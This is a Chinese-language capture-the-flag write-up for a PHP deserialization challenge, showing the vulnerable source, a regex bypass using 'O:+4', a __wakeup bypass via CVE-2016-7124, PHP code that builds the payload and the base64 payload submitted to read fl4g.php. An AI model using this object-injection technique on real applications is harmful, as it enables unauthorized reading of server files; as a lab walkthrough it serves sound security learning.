0x01
打开题目看到PHP源码如下:
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
后端对用户的输入做了以下处理:
- 对提交的var值进行base64解码
- 对解码后的字符串做一个正则匹配,如果其中包含了
[oc]:\d+:
,即类似o:4:之类的字符串,就会被阻止 - 通过了上一条过滤就要进入__wakeup()函数,检查file字段内容
0x02
接下来分析绕过思路:
- base64容易解决,对payload进行一次编码即可
- 由于正则匹配的是
:
后面紧跟数字,那么我们可以用添加正好的方式来绕过,即构造O:+4
- 利用CVE-2016-7124绕过__wakeup()的执行
下面通过在本地写一段PHP来生成payload:
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("test.php");
} $a = new Demo("fl4g.php");
$s = serialize($a);$s = str_replace("O:4", "O:+4", $s);
$s = str_replace(":1:", ":2:", $s);
echo base64_encode($s);
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>
0x03
提交
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
获得flag